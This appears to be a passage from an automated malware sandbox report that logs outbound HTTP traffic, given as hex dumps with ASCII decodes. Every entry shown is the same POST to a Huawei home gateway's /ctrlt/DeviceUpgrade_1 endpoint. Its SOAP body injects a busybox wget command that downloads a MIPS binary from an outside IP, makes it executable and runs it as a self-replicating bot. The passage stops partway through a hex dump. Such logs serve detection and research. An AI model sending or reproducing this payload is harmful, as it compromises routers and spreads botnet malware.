2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 